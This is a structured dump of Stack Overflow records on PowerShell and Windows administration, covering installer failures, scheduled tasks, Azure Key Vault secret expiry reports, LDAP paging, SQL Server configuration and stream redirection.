has comment: http://stackoverflow.com/comment/139448392
has body: Recently, after upgraded my Windows 10 to Windows 10 22h2 (build 19045), Visual Studio 2019 cannot start, because the 32 bit version of powershell.exe is failing: "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" Then, I run Visual Studio Installer to repair VS 2019 (ver. 16.11.41), but the repair is also failed. Note: I have to use VS 2019 for my work. But, I also tried to install VS 2022 community version, it is also failed at the above powershell.exe. The 32 bit apps can still run Windows 10 64 bit 22h2, why not the 32 bit version of powershell.exe? The specific error log: Something went wrong with the install. You can troubleshoot the package failures by: 1. Search for solutions using the search URL below for each package failure 2. Modify your selections for the affected workloads or components and then retry the installation 3. Remove the product from your machine and then install again If the issue has already been reported on the Developer Community, you can find solutions or workarounds there. If the issue has not been reported, we encourage you to create a new issue so that other developers will be able to find solutions or workarounds. You can create a new issue from within the Visual Studio Installer in the upper-right hand corner using the "Provide feedback" button. ================================================================================ Package 'Microsoft.VisualCpp.Redist.14,version=14.40.33816,chip=x86' failed to install. Search URL https://aka.ms/VSSetupErrorReports?q=PackageId=Microsoft.VisualCpp.Redist.14;PackageAction=Install;ReturnCode=-1073741819 Details Command executed: "c:\windows\syswow64\\windowspowershell\v1.0\powershell.exe" -NoLogo -NoProfile -Noninteractive -ExecutionPolicy Unrestricted -InputFormat None -Command "& """C:\ProgramData\Microsoft\VisualStudio\Packages\Microsoft.VisualCpp.Redist.14,version=14.40.33816,chip=x86\VCRedistInstall.ps1""" -PayloadDirectory """C:\ProgramData\Microsoft\VisualStudio\Packages\Micros…
type: Question

http://stackoverflow.com/a/79099606
has body: You can store passwords for multiple hosts using pgpass.conf file, as: mkdir $env:APPDATA\postgresql\ edit $env:APPDATA\postgresql\pgpass.conf then add lines of the following format: hostname:port:database:username:password after that, when executing psql, those passwords will be identified by the combination -h 'hostname' -U 'username' -d 'database' and applied. Therefore your first command would work without problem, making use of this, like & $psqlPath -U 'user' -d 'localMasterDB' -h $local ` -c "\copy (SELECT * FROM target_table WHERE id IN ( $idsToMove)) TO stdout" | & $psqlPath -U 'postgres' -d $remote_db -h $remote_host ` -c 'COPY target_table FROM stdin' displaying the output COPY N For further reference the official docs on pgpass.
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/79090045
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139477778
type: Answer
accepted answer of: http://stackoverflow.com/q/79090045

http://stackoverflow.com/comment/139626697
has text: @Ralf_Reddings `params(...)` does _not_ need to be on the first line, it just has to precede the body of your script/function
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79182266
type: QuestionComment

argparse
tag name: argparse
type: Tag
tags question: http://stackoverflow.com/q/79234150

http://stackoverflow.com/q/79200936
tagged with: windows
type: Question
answer count: 1
downvote count: 0
tagged with: powershell
type: UnansweredQuestion
upvote count: 1
tagged with: action
has body: I am attempting to iterate over many task scheduler entries to modify the task arguments. We have many servers running simultaneously launched scripts, all need to be reachable on the console if a process needs attention. Ideal is to launch minimized with start /min or powershell -window minimized I am testing against one sample task. My code so far looks like $PREFIX = "-window minimized" $taskPath = "\somepath\" Get-ScheduledTask -CimSession "servername" -TaskPath $taskPath -TaskName "mytask" | ForEach-Object { $actions = $_.Actions $actions New-ScheduledTaskAction -Execute "powershell" -Argument "${PREFIX} ${actions}" Set-ScheduledTask -CimSession "servername" -TaskPath $taskPath -TaskName $_.TaskName -Action $actions } This works excepting I cannot get to the old command arguments. Always I get as new arguments with my prefix and then 'MSFT_TaskExecAction' following. This fails against a multi-step task resulting in only one bad step afterwards (and MSFT_TaskExecAction). Thanks all.
score: 1
favorite count: 0
has title: Updating task scheduler entries to modify task arguments
tagged with: scheduler
tagged with: task
has answer: http://stackoverflow.com/a/79200956

http://stackoverflow.com/comment/139528571
type: Comment
has text: @luuk - I appreciate your answer. None of the items provided work. I had seen all the links in your answer and none of them work. Get-DisplayResolution is good for only the primary screen and has no way of selecting othe monitors. The link about multi-monitor info is really only good if you have a monitor in two different cards. It shows your the primary monitor on each card. I have typically only one video card with 2 or 3 monitors that I would like to create a report on. I am just not sure how I can call "CIM_MonitorResolution" to get this info.
comment on: http://stackoverflow.com/q/79128851
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139477778
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79099606
type: AnswerComment
has text: Thank you for your response! Having the pgpass.conf on another location than the executing script introduces another dependency, that I'm trying to avoid. However, if no other suggestion is given, this could be a solution.

http://stackoverflow.com/q/79093149
answer count: 1
score: 0
tagged with: powershell-5.1
tagged with: ssas-tabular
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139463754
tagged with: xmla
has answer: http://stackoverflow.com/a/79102320
has title: How to Update the Expression of a Measure in a Analysis Services Tabular Model (Power BI Premium) using Invoke-ASCmd
type: Question
has body: I'm trying to change the expression of an existing measure in a Power BI Semantic Model using Invoke-AsCmd in PowerShell. I have not been able to find any examples of this. What I have so far is this TSML alter command $connectionString = "Data Source=powerbi://api.powerbi.com/v1.0/myorg/Workspace1" $statement = [ordered]@{ alter = [ordered]@{ object= [ordered]@{ database = "test-database" table = "Table1" } table = [ordered]@{ name = "Table1" measures = @( [ordered]@{ name = "Measure1" expression = "1 // new expression" }) } } } $query = $statement | ConvertTo-Json -Depth 5 Invoke-ASCmd -ConnectionString $connectionString -Query $query When run, there are no errors and the result is However the expression on the server is not updated. The XMLA Read/Write feature is enabled for the server. I've tried looking into XMLA and authoring an alter command that way but I'm struggling to follow the documentation. Does anyone have an example of updating a measure's expression this way?
tagged with: powerbi
tagged with: powershell

http://stackoverflow.com/q/79229639
tagged with: c#
score: 0
has body: I have SQL Server Express 2019 installed in Windows 11 desktop. I want to enable SQL Server Express TCP protocol programmatically from Windows Application using C#. So, I have written following simple code. using Microsoft.SqlServer.Management.Smo.Wmi; ManagedComputer mc = new ManagedComputer(); ServerProtocol srvprcl = mc.ServerInstances[0].ServerProtocols[2]; srvprcl.IsEnabled = true; srvprcl.Alter(); This code is returning mc.ServerInstances.count = 0, so eventually I am getting error, though this code is running with administrative permission. To get around I have created following powershell script. Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name SqlServer -AllowClobber -Force Import-Module SQLServer -Force $wmi = New-Object -TypeName Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer $Wmi $uri = "ManagedComputer[@Name='" + (get-item env:\computername).Value + "']/ServerInstance[@Name='SQLEXPRESS']/ServerProtocol[@Name='Tcp']" $Tcp = $wmi.GetSmoObject($uri) $Tcp.IsEnabled = $true $Tcp.Alter() $Tcp With administrative permission, in the manual run, this powershell script ran well and it enabled TCP protocol. Because I need to automate this process using C# code, so I have written following code and ran above mentioned script from Windows Application with Administrative code. using System.Diagnostics; var ps1File = @"C:\scripts\enable_tcp.ps1"; var startInfo = new ProcessStartInfo() { Verb = "runas", FileName = "powershell.exe", Arguments = $"-NoProfile -ExecutionPolicy ByPass -File \"{ps1File}\"", UseShellExecute = false }; Process.Start(startInfo); Here I have received an error. From the investigation, I have found that $Wmi object is returning zero ServerInstances. When I was running script manually then I was getting {SQLEXPRESS} from output of $Wmi ServerInstances but this not happening when same script is running from code. I think this problem will be related to code access security but not sure how to resolve …
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139712282
has comment: http://stackoverflow.com/comment/139718039
has comment: http://stackoverflow.com/comment/139712310
has comment: http://stackoverflow.com/comment/139718163
has comment: http://stackoverflow.com/comment/139718207
has title: How to enable TCP protocol of SQL Server Express 2019 through C# code?
has comment: http://stackoverflow.com/comment/139712368
has comment: http://stackoverflow.com/comment/139713322
type: Question
has comment: http://stackoverflow.com/comment/139717968
has comment: http://stackoverflow.com/comment/139718077
tagged with: sql-server
answer count: 0
has comment: http://stackoverflow.com/comment/139713551
has comment: http://stackoverflow.com/comment/139717890
tagged with: powershell
has comment: http://stackoverflow.com/comment/139717942
has comment: http://stackoverflow.com/comment/139717254
tagged with: winforms

http://stackoverflow.com/q/79109509
has body: I am currently developing a REST API that needs to interact with an on-premises Microsoft Exchange server (Exchange 2007, not Office 365) through PowerShell commands. In my development environment (Windows), everything works perfectly. The API uses the New-PSSession cmdlet to establish a remote session to the Exchange server and runs commands such as Get-Mailbox and Enable-Mailbox. Here is a snippet of my PowerShell code: # Establish Exchange session $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri "http://$exchangeServer/PowerShell/" -Authentication Kerberos -Credential $credential # Import the session Import-PSSession $session -DisableNameChecking # Test connection try { Get-Mailbox -ResultSize 1 Write-Output "Successful connection to Exchange." } catch { Write-Output "Could not connect to Exchange: $_" Remove-PSSession $session exit } # Add mailbox or permissions try { Enable-Mailbox -Identity $usuario -Alias $alias Write-Output "Mailbox created for user $usuario." } catch { Write-Output "Failed to grant permissions: $_" } # Disconnect from Exchange Remove-PSSession $session The issue arises when I try to containerize this API in a Docker image running on Linux. I install pwsh (PowerShell Core) in the Dockerfile and attempt to install the necessary Exchange modules. However, when running the container in production, none of the Exchange commands work. I understand that Exchange cmdlets like New-PSSession and Get-Mailbox might not be compatible with Linux-based PowerShell, but I can't find a clear solution or workaround. Here's what I need help with: Is it possible to run PowerShell Exchange commands from a Linux-based Docker container for an on-premises Exchange server (Exchange 2007)? If not, are there any alternatives to running these commands remotely from within a Docker container? Perhaps a way to configure the container or utilize Windows-based containers? Is there a way to troubleshoot why these Exchange commands fail on Linux?…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139492891
score: 1
upvote count: 1
favorite count: 0
tagged with: powershell-cmdlet
type: Question
tagged with: powershell-core
tagged with: docker
has title: PowerShell Exchange Commands Not Working in Docker on Linux for Exchange On-Premises 2007
answer count: 0
tagged with: exchange-server
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/139543310
has text: Still I getting the 401 error. I am using the same script. so i need to do any changes? Response : StatusCode: 401, ReasonPhrase: 'Unauthorized', Version: 1.1, Content: System.Net.Http.HttpConnectionResponseContent, Headers:errorDetails: { "itemsReceived": 1,"itemsAccepted": 0, "appId": null, "errors": [{ "index": 0, statusCode": 401,"message": "Authentication required" } ]} Response : StatusCode: 401, ReasonPhrase: 'Unauthorized', Version: 1.1, Content: System.Net.Http.HttpConnectionResponseContent, Headers:CategoryInfo : InvalidOperation: (Method: POST, Reque…tent-Length: 445
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79136206

http://stackoverflow.com/q/79161585
type: Question
has title: Keyvault secrets or keys expiry notification
has comment: http://stackoverflow.com/comment/139588249
has comment: http://stackoverflow.com/comment/139589028
has body: Can anybody share the PS script to fetch all the secrets or key from the multiple keyvaults from all subscriptions that are going to expire in few days like 7 or 5 days along with the resource group name in order to setup a expiry email notification for the IT admins ? Tried some PS script but wasn't satisfied with the result. Later created the automation account and imported the azure modules and tried to a create a runbook with PowerShell but when I was running my PS script, I'm receiving the below error. ps script Error PS script PS Connect-AzAccount -Environment azurecloud Set-AzContext -SubscriptionId 'aaa-aaa-aaa-aaa' $kvnames = get-azkeyvault $NearExpirationSecrets = @() foreach($rgitem in $kvnames) { $KeyVault = Get-AzKeyVault -ResourceGroupName $rgitem.resourcegroupname -VaultName $rgitem.vaultname foreach ($kvitem in $keyvault) { $secrets = Get-AzKeyVaultSecret -VaultName $kvitem.VaultName $7Days = Get-Date (Get-Date).AddDays(7) -Format yyyyMMdd $1Days = Get-Date (Get-Date).AddDays(1) -Format yyyyMMdd $CurrentDate = Get-Date -Format yyyyMMdd foreach($secret in $secrets){ if($secret.Expires) { $secretExpiration = Get-Date $secret.Expires -Format yyyyMMdd if($secretExpiration -lt $currentDate) { $NearExpirationSecrets += New-Object PSObject -Property @{ Name = $secret.Name; Category = 'SecretExpired'; KeyVaultName = $KeyVault.VaultName; ExpirationDate = $secret.Expires; } } elseif($secretExpiration -le $7Days -and $secretexpiration -gt $1Days) { $NearExpirationSecrets += New-Object PSObject -Property @{ Name = $secret.Name; Category = '1-7DaySecretExpiry'; KeyVaultName = $KeyVault.VaultName; ExpirationDate = $secret.Expires; } } } } } } $NearExpirationSecrets | Sort-Object expirationdate, category
answer count: 1
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139589216
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79162213
tagged with: azure
has comment: http://stackoverflow.com/comment/139589211
tagged with: azure-keyvault
has answer: http://stackoverflow.com/a/79162213
has comment: http://stackoverflow.com/comment/139588252
has comment: http://stackoverflow.com/comment/139589454
has comment: http://stackoverflow.com/comment/139592777
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/139588478
favorite count: 0
has comment: http://stackoverflow.com/comment/139588343

http://stackoverflow.com/comment/139665634
has text: @mklement0, thank you for the explanation! Correct me if I'm wrong on this, but I'm thinking this really more of an issue with Windows itself and how arguments are passed to any exe, and not just an issue with PowerShell.
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139587805
has text: Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
type: Comment
comment on: http://stackoverflow.com/a/79148464
score: 0
type: AnswerComment

http://stackoverflow.com/q/79085336
tagged with: exchange-online
tagged with: outlook
tagged with: intune
score: 0
tagged with: entra
has comment: http://stackoverflow.com/comment/139461396
type: UnansweredQuestion
has title: see Role assignments User
has body: currently we are using PIM to assign role's to our admin users. but somehow we have one user who doesn’t have the role Exchange Admin who can still manage shared mailbox delegations. we can’t find how he is allowed to do this. so I was hoping someone could give me a PowerShell script to check which roles he has assigned or to check how he is allowed to do so. we checked our PIM role's in Entra and we checked our roles in exchange but there is no role available to him which allows him to change shared mailbox settings. I hope somebody can give me a PowerShell script which showcases the assigned roles or which showcases the way he is possible to do these changes.
has comment: http://stackoverflow.com/comment/139449773
type: Question
has comment: http://stackoverflow.com/comment/139449115
answer count: 0
tagged with: powershell

arrays
tags question: http://stackoverflow.com/q/79244582
type: Tag
tag name: arrays
tags question: http://stackoverflow.com/q/79170631
tags question: http://stackoverflow.com/q/79162738
tags question: http://stackoverflow.com/q/79138278
tags question: http://stackoverflow.com/q/79161235
tags question: http://stackoverflow.com/q/79077437
tags question: http://stackoverflow.com/q/79078234
tags question: http://stackoverflow.com/q/79359686
tags question: http://stackoverflow.com/q/79404173
tags question: http://stackoverflow.com/q/79330030
tags question: http://stackoverflow.com/q/79263555
tags question: http://stackoverflow.com/q/79440498
tags question: http://stackoverflow.com/q/79422309
tags question: http://stackoverflow.com/q/79455801

http://stackoverflow.com/comment/139545180
type: QuestionComment
type: Comment
score: 0
has text: `-Verb RunAs` is pointless in a scheduled task that runs invisibly : if the task is configured to run with elevation, you don't need it; if it isn't, elevation cannot be achieved in the absence of an interactive user being able to respond to a UAC dialog. To diagnose the problem, capture the output from your `gpg.exe` call in a file (e.g. `... *>c:\tmp\out.txt` - be sure to choose a dir. that the scheduled task is permitted to write to).
comment on: http://stackoverflow.com/q/79111405

http://stackoverflow.com/comment/139722369
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052
has text: That's unfortunate, @Dan. You can try to run commands interactively in the `SYSTEM` account if you have `psexec` installed, with `psexec -s powershell ...` (from an elevated session). Another thing you can try is to avoid script-file execution altogether, by putting the following into your `runAs.bat` file: `powershell -c "Invoke-Expression (Get-Content -Raw C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown\changeComputerName.ps1)"`
type: Comment
score: 0

http://stackoverflow.com/q/79176779
has comment: http://stackoverflow.com/comment/139617322
tagged with: screen-resolution
has comment: http://stackoverflow.com/comment/139617868
has comment: http://stackoverflow.com/comment/139617772
downvote count: 2
tagged with: windows-11
has comment: http://stackoverflow.com/comment/139622849
linked to: http://stackoverflow.com/q/54495023
has answer: http://stackoverflow.com/a/79177773
has comment: http://stackoverflow.com/comment/139616524
upvote count: 2
tagged with: powershell
has answer: http://stackoverflow.com/a/79178861
score: 0
tagged with: multiple-monitors
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139617741
favorite count: 0
answer count: 2
has comment: http://stackoverflow.com/comment/139617292
has comment: http://stackoverflow.com/comment/139618992
has body: I would like to get the screen resolution of all my monitors; I require this info for an application. I've tried: Add-Type -AssemblyName System.Windows.Forms $result = [System.Windows.Forms.Screen]::AllScreens $result With the following results: WorkingArea={X=-3840,Y=512,Width=2560,Height=1528} while I expect 2560 x 1600. WorkingArea={X=0,Y=0,Width=2880,Height=1728} while I expect 1920 x 1200. How can I get the expected resolutions through PowerShell? Update: The proposed solutions don't work as expected, unfortunately: Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.Screen]::AllScreens | ForEach-Object { '{0} x {1}' -f $_.Bounds.Width, $_.Bounds.Height } Output: 2560 x 1600 2880 x 1620 And $height = (((Get-WmiObject -Class Win32_VideoController).VideoModeDescription -split '\n')[0] -split ' ')[2] $width = (((Get-WmiObject -Class Win32_VideoController).VideoModeDescription -split '\n')[0] -split ' ')[0] echo $width, $height Output: 1920 1200 The real resolutions are ("empfohlen" means recommended): Primary screen (monitor): Secondary one: Their arrangement is:
has title: Powershell Screen Resolution in Win11
type: Question

http://stackoverflow.com/comment/139708325
comment on: http://stackoverflow.com/q/79227225
has text: Example with singlequoting: ```For /F "Tokens=1-2" %%G In ('%SystemRoot%\Sysem32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -Command "Get-Date -Format 'dd MM'" 2^>NUL') Do Set "dd=%%G" & Set "MM=%%H"```. Alternatively with doublequoting: ```For /F "Tokens=1-2" %%G In ('%SystemRoot%\Sysem32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -Command "Get-Date -Format \"dd MM\"" 2^>NUL') Do Set "dd=%%G" & Set "MM=%%H"```.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139436205
has text: THANK YOU to everyone's explanations and workarounds; Get-CimInstance alternative helped me continue my existing code block with -Computername and now I know I'm targeting Windows Powershell by default, I can look at targeting Powershell 7 on the remote computer, too!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79076530
type: Comment

http://stackoverflow.com/comment/139467342
type: Comment
has text: Would sending the restart command from a 2nd computer be an option for your scenario? ie. shutdown -r -m \\machinename This way you wouldn't lose the script execution and you could monitor the reboot process with a combination of ping and another "is booted machine" mechanism. That's the way I would implement that.
score: 0
comment on: http://stackoverflow.com/q/79095222
type: QuestionComment

http://stackoverflow.com/q/79219297
answer count: 0
has comment: http://stackoverflow.com/comment/139693117
tagged with: powershell
tagged with: stderr
tagged with: powershell-5.1
type: UnansweredQuestion
score: 0
type: Question
has title: Powershell changes formatting when redirecting error stream
duplicate of: http://stackoverflow.com/q/52970939
has body: Using Node.js to demonstrate: > node --eval "console.log('This is stdout'); console.error('This is stderr')" This is stdout This is stderr But when I combine the streams by redirecting stderr to stdout (2>&1): > node --eval "console.log('This is stdout'); console.error('This is stderr')" 2>&1 This is stdout node : This is stderr At line:1 char:1 + node --eval "console.log('This is stdout'); console.error('This is st ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (This is stderr:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError From what I can tell, it seems to be taking the string from the error stream and wrapping it up in an object, causing all this extra formatting to be applied when it gets converted back to text. The same thing happens when redirecting to a file. Is there an easy/elegant way to avoid the extra formatting being applied, having it behave like the original snippet?

http://stackoverflow.com/comment/139435513
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79077815
has text: You might consider to deploy a PowerShell `$Profile`, see: [about profiles](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles)
type: QuestionComment

http://stackoverflow.com/comment/139607621
has text: Use an _expandable_ here-string: After the opening and before the closing @, replace ‘ with “
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79170074

http://stackoverflow.com/q/79074308
has comment: http://stackoverflow.com/comment/139428622
has comment: http://stackoverflow.com/comment/139429502
score: 1
has title: How do I implement paginated queries in this code in PowerShell?
linked to: http://stackoverflow.com/q/10336553
type: Question
has comment: http://stackoverflow.com/comment/139430452
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139429602
has comment: http://stackoverflow.com/comment/139429318
tagged with: ldap
tagged with: powershell
has answer: http://stackoverflow.com/a/79075499
has body: I have this code that uses the namespace System.DirectoryServices.Protocols.LdapConnection. However, the pagination I tried to implement is not working (only returns the first 500 items). Could you tell me what is wrong? $ldapFilter = "(&(objectClass=group)(|(cn=CAX_*)(cn=F_*)(cn=G_*)))" $results = @() $pageSize = 500 try { # Conectar ao servidor LDAP Write-Host "Iniciando conexão com o servidor LDAP..." -ForegroundColor Cyan $ldapConnection = New-Object System.DirectoryServices.Protocols.LdapConnection "ldap" $ldapConnection.SessionOptions.SecureSocketLayer = $false $ldapConnection.SessionOptions.ProtocolVersion = 3 $ldapConnection.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate Write-Host "Conectando ao servidor LDAP..." -ForegroundColor Green # Configurar paginação Write-Host "Configurando controle de paginação com tamanho de página: $pageSize" -ForegroundColor Cyan $pageControl = New-Object System.DirectoryServices.Protocols.PageResultRequestControl($pageSize) $searchRequest = New-Object System.DirectoryServices.Protocols.SearchRequest("DC=ldap,DC=com", $ldapFilter, "Subtree", "cn", "info", "description") $searchRequest.Controls.Add($pageControl) $morePages = $true while ($morePages) { # Enviar requisição de busca Write-Host "Enviando requisição de busca ao servidor LDAP..." -ForegroundColor Cyan $searchResponse = $ldapConnection.SendRequest($searchRequest) #Write-Host "Buscando grupos com o filtro: $ldapFilter" -ForegroundColor Green # Verificar resultados Write-Host "Processando resultados da página atual..." -ForegroundColor Cyan foreach ($entry in $searchResponse.Entries) { Write-Host "Processando entrada: $($entry.Attributes["cn"][0])" -ForegroundColor Yellow $results += [PSCustomObject]@{ Name = $entry.Attributes["cn"][0] Info = if ($entry.Attributes["info"].Count -gt 0) { $entry.Attributes["info"][0].Replace("r", "").Replace("n", "") -split "n" } else { "" } Description = if ($entry.Attributes["description"].Count -gt 0) { $entry.Attri…
has comment: http://stackoverflow.com/comment/139429741
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/139429049
favorite count: 0
has comment: http://stackoverflow.com/comment/139430495
has comment: http://stackoverflow.com/comment/139428732

http://stackoverflow.com/a/79170255
score: -1
has comment: http://stackoverflow.com/comment/139606509
has comment: http://stackoverflow.com/comment/139606701
answers question: http://stackoverflow.com/q/79170189
downvote count: 1
type: Answer
has body: $session = New-PSSession -ComputerName dcName -ConfigurationName DomainAdmins Check if there is any NW issue. Test-Connestion -ComputerName dcName using Credential $credential = Get-Credential $session = New-PSSession -ComputerName dcName -ConfigurationName DomainAdmins -Credential $credential Firewall/WinRM Configuration. Enable-PSRemoting -FOrce
upvote count: 0

hashtable
type: Tag
tag name: hashtable
tags question: http://stackoverflow.com/q/79095487
tags question: http://stackoverflow.com/q/79406020
tags question: http://stackoverflow.com/q/79546586

http://stackoverflow.com/comment/139480789
type: Comment
score: 1
has text: @iRon good to know, thanks.
comment on: http://stackoverflow.com/q/79095487
type: QuestionComment

http://stackoverflow.com/a/79212071
has comment: http://stackoverflow.com/comment/139683867
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139684659
upvote count: 2
answers question: http://stackoverflow.com/q/79211810
has body: To search for and change the hyperlinks .Address properties in Word documents, you need to loop over the documents .Hyperlinks collection as I have already commented. The below code will do that for you. $oldPath = '\\old_share\folder\' $newPath = '\\new_share\folder\' $word = New-Object -ComObject Word.Application $word.Visible = $false $word.ScreenUpdating = $false $folder = "\\new_share\folder" $docs = Get-ChildItem -Recurse -LiteralPath $folder -File -Filter '*.doc*' foreach($doc in $docs){ $updated = $false $thisDoc = $word.Documents.Open($doc.FullName) $thisDoc.HyperLinks | ForEach-Object { if ($_.Address -like "*$oldPath*") { Write-Host ("Replaced hyperlink '{0}' in document {1}" -f $_.TextToDisplay, $doc.FullName) $_.Address = $_.Address -replace [regex]::Escape($oldPath), $newPath $updated = $true } } $thisDoc.Close($updated) } $Word.Quit() # cleanup com objects $null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($thisDoc) $null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($word) [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers()
downvote count: 1
accepted answer of: http://stackoverflow.com/q/79211810
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/139680705
has comment: http://stackoverflow.com/comment/139687574
has comment: http://stackoverflow.com/comment/139687673

http://stackoverflow.com/a/79199171
has comment: http://stackoverflow.com/comment/139656936
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79199122
has body: The localized folder names are just for display, they are not an actual path. Thus, C:\Benutzer does not exist as path. Explorer looks up the Desktop.ini file in folders for customization such as localized folder names and special icons. So you would have to traverse all folders and look up the Desktop.ini file to find out whether the given name was a localized name, and it would still not exist as actual path.
has comment: http://stackoverflow.com/comment/139656847
accepted answer of: http://stackoverflow.com/q/79199122
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139659166
type: Answer
downvote count: 0

http://stackoverflow.com/q/79201027
has comment: http://stackoverflow.com/comment/139660496
tagged with: http://stackoverflow.com/tag/json
linked to: http://stackoverflow.com/q/53583677
type: Question
has title: ConvertFrom-Json breaks appsettings.json losing settings
answer count: 0
has body: We have a release pipeline to deploy some websites. A part of this requires some minor Powershell to read the appsettings.json. This has worked well for a variety of application over the years. Moving to Serilog has required minor changes to the appsettings.json that is being broken by this PowerShell script. This is an extract of the PowerShell to repeat the issue: $jsonDir = 'C:\Temp\appsettings.json' $jsonDirTo = 'C:\Temp\appsettings-altered.json' $json = Get-Content $jsonDir -raw | ConvertFrom-Json $json | ConvertTo-Json| set-content $jsonDirTo Sample appsettings.json { "DetailedErrors": true, "Logging": { "LogLevel": { "Default": "Information", "Microsoft.AspNetCore": "Warning" } }, "AllowedHosts": "*", "GeneralSettings": { "Setting1": "Value1", "Setting2": "Value2", "Setting3": "Value3" }, "Serilog": { "MinimumLevel": { "Default": "Debug", "Override": { "Microsoft": "Error", "Microsoft.AspNetCore.Hosting.Diagnostics": "Error", "Microsoft.Hosting.Lifetime": "Error" } }, "WriteTo": [ { "Name": "File", "Args": { "path": "c:\\temp\\log.txt", "rollingInterval": "Day", "rollOnFileSizeLimit": false, "outputTemplate": "{Timestamp} [{Level:u3}] {MachineName} - {UserName} - {Message}{NewLine}{Exception}", "zformatter": "Serilog.Formatting.Compact.CompactJsonFormatter, Serilog.Formatting.Compact" } }, { "Name": "Console" }, { "Name": "MSSqlServer", "Args": { "connectionString": "LogDatabase", "sinkOptionsSection": { "tableName": "Logs", "schemaName": "dbo", "autoCreateSqlTable": true, "AutoCreateSqlDatabase": true, "batchPostingLimit": 5, "batchPeriod": "0.00:00:01" }, "restrictedToMinimumLevel": "Debug", "columnOptionsSection": { "removeStandardColumns": [ "MessageTemplate" ], "additionalColumns": [ { "ColumnName": "UserName", "DataType": "nvarchar", "DataLength": "100", "AllowNull": true }, { "ColumnName": "MachineName", "DataType": "nvarchar", "DataLength": "100", "AllowNull": true } ] } } }, { "Name": "Async", "Args": { "configure": [ { "Name": "Console", "Args": { "…
tagged with: convertfrom-json
tagged with: powershell
score: 0
duplicate of: http://stackoverflow.com/q/53583677
type: UnansweredQuestion

http://stackoverflow.com/comment/139540283
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79133066
has text: Question - are you running that from a Linux command line per chance - I am getting errors, but I think it is because I am running from VSC on Windows

http://stackoverflow.com/comment/139504635
has text: It looks like there can be multiple entries for `$APITemp` within `$CSVHistoryFromFile`, so you're likely getting an array of objects back for `$RepeatData`, which is messing up `$total`. Try sorting the data and only taking the entry with the highest Total for `$RepeatData`. Maybe something like: `$RepeatData = $CSVHistoryFromFile | Where-Object { "$($_.City);$($_.State);$($_.TicketCount);$($_.Price)" -eq $APITemp } | Sort Total | Select -Last 1`
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79114767

http://stackoverflow.com/comment/139683785
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79213413
has text: Please, try to [avoid enclosing strings with smart quotes](https://github.com/PowerShell/PSScriptAnalyzer/issues/1936), see also: [quoting rules](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_quoting_rules~:text=smart%20quotation)
type: Comment

http://stackoverflow.com/comment/139447300
has text: `$output = cmd /c $cmd '2>&1'` _should_ work (`'2>&1'`, due to being quoted, is passed to `cmd /c` and therefore a redirection interpreted by `cmd.exe`). Assuming that `$cmd` refers to an existing executable, you can also skip the use of `cmd` and use PowerShell's own redirections: `[string[]] $output = & $cmd 2>&1`. To ignore a nonexistent executable, use `[string[]] $output = try { & $cmd 2>&1 } catch { }`
type: QuestionComment
comment on: http://stackoverflow.com/q/79084361
type: Comment
score: 1

http://stackoverflow.com/comment/139657770
comment on: http://stackoverflow.com/q/79199384
type: QuestionComment
type: Comment
score: 0
has text: Are you getting any error by using the given code?

http://stackoverflow.com/a/79094419
